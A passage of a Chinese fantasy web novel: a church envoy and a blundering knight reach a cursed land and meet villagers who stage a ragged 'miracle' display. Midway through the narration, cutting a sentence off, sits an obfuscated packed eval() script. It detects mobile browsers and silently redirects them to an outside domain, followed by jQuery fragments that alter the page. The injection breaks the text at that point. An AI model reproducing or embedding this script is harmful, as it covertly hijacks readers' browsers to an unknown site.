站在诅咒之地与斯莱德城的边界,尤利安面色凝重深吸一口气,跨过这道边界就是当年教会高层一夜之间全部在睡梦中中死亡的地方了。
因为此事造成的影响过于惨烈,且一直没有真正的调查结果,这里一度成为所有光明信徒心中的不可言说之地。
他由衷的敬佩困守在这里的主教、教士、以及骑士,他们都是守卫光明最伟大的战士,如果可以的话他愿意为这些勇士写一百首赞歌。
只是他没想到有一天自己也会成为其中的一员。
他已经足够谨小慎微了,但没想到教廷的大人物还是不肯放过他,区区粗盐根本不配得到教廷的重视。
要不是碰上了老教皇病重,几位大主教的势力正在重新洗牌,竞争下一代的教皇,别说一封信,一百封信也只会被当做废纸罢了,而他,只是一个可怜的牺牲品。
想也知道,这次一来自己恐怕很难回去了,当地的主教似乎也知道这一点,对他这个教廷特使不甚尊重。
随便他想要问点什么,都是你不了解此地的局势,你不懂我的苦心还有追问教皇陛下的旨意,这压根就没把他放在眼里!
尤利安心中的怒火几乎要憋不住,说真的,教廷盘根错节,他连一只蝼蚁都算不上,可是这个老家伙是个什么东西,也敢瞧不起他。
教廷他回不去了,回去恐怕也要面临各种严峻的审查,与其在宗教审判所脱一层皮,不如就在此地掌握话语权,想必也能过的很舒服,只是他刚要提出异议。
老东西眼皮一掀,皮笑肉不笑的看着他:“圣使大人如此虔诚,想必已经迫不及待想要见识一下神迹了,我立刻就让格罗索普带你去好好见识见识。”
他把重音放在了好好见识上,明显的不怀好意。
而那个大个子的骑士似乎早就在等这一刻了,听见老主教的吩咐,立刻蹿了出来:“是!圣使大人我这就带您去!”
尤利安冷眼打量着这个骑士,他脸上是直白的兴奋,据说发生神迹的村庄就在他的辖区,还以为是个什么人物呢?
他整理了一下自己的教士袍,作为教廷的特使,他不能露怯,如过被恐怕会进一步丧失话语权,但也不能被牵着鼻子走。
只是还未能他做出反击,大个子的骑士突然把他背了起来。
“你干什么!”从来没遭遇过如此对待的尤利安下意识的发出惊呼。
但格罗索普一点都没觉得不对:“您放心,老主教早吩咐过了,圣使大人身份尊贵,务必‘寸步不离’地照顾好。必要的时候,我就要成为您‘忠诚的坐骑’——毕竟,有些路,您不该走。”
说罢,还下意识的把他掂了掂,掂了掂!
这番话在尤利安,显然是叫他不要多管闲事,也不要做多余的事,但在过分想要表现的格罗索普耳朵里,不该走等于不要让圣使走,那很简单,自己把圣使背起来就好啦。
这显然是个愣头青,尤利安气的鼻子差点冒烟了。
“怎么了特使大人?”偏偏罪魁祸首还一无所知。
尤利安板着脸叫他把自己放下了,自己不需要这种过度服务!
被这么一搅和,他刚刚想说的话的荡然无存,再看老主教那似笑非笑的脸,尤利安简直恨得牙痒痒,自己手下什么样他怎么可能不知道,这绝对是在故意给自己难看!
这么一对比,他甚至觉得直面黑暗信徒都比对着这张老脸来的强。
只是,但真到了诅咒之地的边界,他还是害怕了,心脏下意识的收紧。
“格罗索普。”尤利安问道,“以你对诅咒之地的了解,神迹是怎么被发现的?那些……圣民是什么样的?附近可以被黑暗侵蚀大物痕迹?”
这一路上,他已经充分的了解了这个骑士,和自己一样的平民出身,靠自身的努力成为了骑士,但是因为脾气过于耿直,得罪了人才被打发到诅咒之地,如今想通过讨好自己离开诅咒之地。
相似的经历,让尤利安勉强原谅了格罗索普刚刚干的蠢事,但是连他自己都自身难保,更没有能力带格罗索普离开。
不过这也是一个可以利用的地方,自己也许可以利用他莽撞和轻信他人的特性来反过来对付那个老主教。
并不知道自己被原谅了的格罗索普哈哈大笑:“您在说什么啊,什么圣民,那只是一群愚蠢的家伙罢了,您只要大发慈悲的跟他们说几句话,他们就会感恩戴德的。
至于黑暗的痕迹更是从来没有过的,您就放心吧,就算有,我也能来一个砍一个,来一对砍一双,他们都会成为你我的战功!”
说着格罗索普还抽出自己的佩剑,狠狠的比划了两下。
他确实有一身好剑术,尤利安多少放心了一些,准备踏入这片传说中的诅咒之地。
但就在这时候,他看到远方似乎有一团团扭曲、褴褛的黑影正无声地向他飞速靠近,破败的说不出颜色布条如同腐朽的触须,随着它们诡异的移动而飘荡,扬起的尘土吞噬了所有可能看清出人形的可能。
恐惧瞬间攫住了他,是怪物?还是黑暗信徒?是这片诅咒之地潜藏的恶念要对他下手了。
他的大脑来不及思考,最原始的求生本能尖叫着发出警报,他下意识地想后退,脚跟却像钉在了原地,只能眼睁睁看着那团令人窒息的、充满恶意的黑暗缓缓逼近。
就在那不可名状的浪潮几乎要涌到他脚下时,他终于控制不住扑通一声坐在了地上,嗓子压抑不住的就要发出本能的哀嚎。
可这一秒他才看清,那哪里是什么怪物,那是一个个活生生的人!他们衣衫褴褛,几乎完全被脏污不堪的破布包裹,他们抬起头,一张张瘦削、疲惫、沾满污垢的脸上,眼睛中似乎闪烁着卑微的、乞求的光芒。
正当尤利安心中被巨大的惊愕填满,一时不知该如何是好时,格罗索普猛地踏前一步。
“滚开!你们这群肮脏的蛆虫!”骑士的怒吼,他面容扭曲,显然也被刚才的场景吓到了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281138|181268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此刻看清真相,羞恼瞬间转化为了滔天怒火。
“竟敢以如此污秽不堪的模样冲撞圣使大人!是存心吓人吗?这可是不敬光明神的大罪,你们都疯了吗?以为有神迹就可以无所顾忌了吗?我要把你们统统都抓起来?”
他的骂声尖锐而刻薄,在空地上久久的回响,村民们假装顺从的低着头,实则互相交换眼神。
“可是大人。”在他的怒火宣泄的差不多了后,终于有人小声的辩驳,“可是这是我们特意准备的衣服啊。”
他的话差点再次点燃了骑士的怒火,什么叫特意准备的衣服?这破破烂烂的模样谁信?
但是村长却飞快的接过话去:“我们跟随光明神大人的脚步,风尘是我们的旅伴,苦难是我们的试炼!世俗的华服只会蒙蔽灵魂之窗,玷污信仰的纯洁!”
他一边说着一边骄傲的挺起胸膛:“所以我们用仅有的布料,做了这些衣服,目的是为了纪念光明神冕下击退黑暗巨兽的战绩。”
听他这么说仔细看的话,村长身上穿的袍子看起来像被某种巨兽的爪子撕开,另一位的帽子则巧妙地破成一个歪斜的光环形状,他们还带树枝当做权杖。
格罗索普:……
尤利安:……
不能说和光明教会没有关系,只是这种打扮在这种灰扑扑的环境下显得尤其诡异,他们有一瞬间是真的以为黑暗信徒来了,诅咒来了。
光明神的功绩是每个人出生起就要学习背诵的内容,格罗索普当然不能说他没认出来其中的联系,但仍旧勉强找补道。
“那,那也应该穿着整齐一些,干净一些。”
不想为首的村长却一本正经的解释:“大人,无论我们穿什么,那都不过是写只是身外之物,光明神面下他看到的一定不是外在的华服,他凝视的是灵魂的底色啊大人!我们献上的是…是被尘世磨砺得最纯净的信仰!”
格罗索普被抢白到一口气上不去也下不去,他早知道这些村民们信仰的有些神神叨叨,没想到一段时间过后,这群家伙们更疯了。
眼看就要下不来台,尤利安还是出来打圆场,他抬起一只手,按在了骑士紧绷的手臂上,阻止了他接下来的将要说出口训斥。
“主神大人洞察人心,自然珍视各位毫无保留的信赖。我也已经充分感受到了你们的虔诚,果然不愧是能感动神明降下神迹的虔诚之人!”
塞西莉的戏剧法则一:先让对方感到心虚,然后他们就会默认下小小的怪异。
看到尤利安就这么轻易的退让了,村民们露出一丝不易察觉的遗憾,没错、他们就是故意的,刚刚争辩的话也在塞西莉的预测范围内,不过他们其实还准备了一场‘盛大’的舞蹈表演。
如果格洛索普继续不依不饶下去,他们就可以顺势提出表演一场来表达自己‘真诚’的歉意,这个特使这么胆小,场面一定很好看。
不过这样也行,都吓得一屁股坐地上了,村民们很懂得见好就收的道理。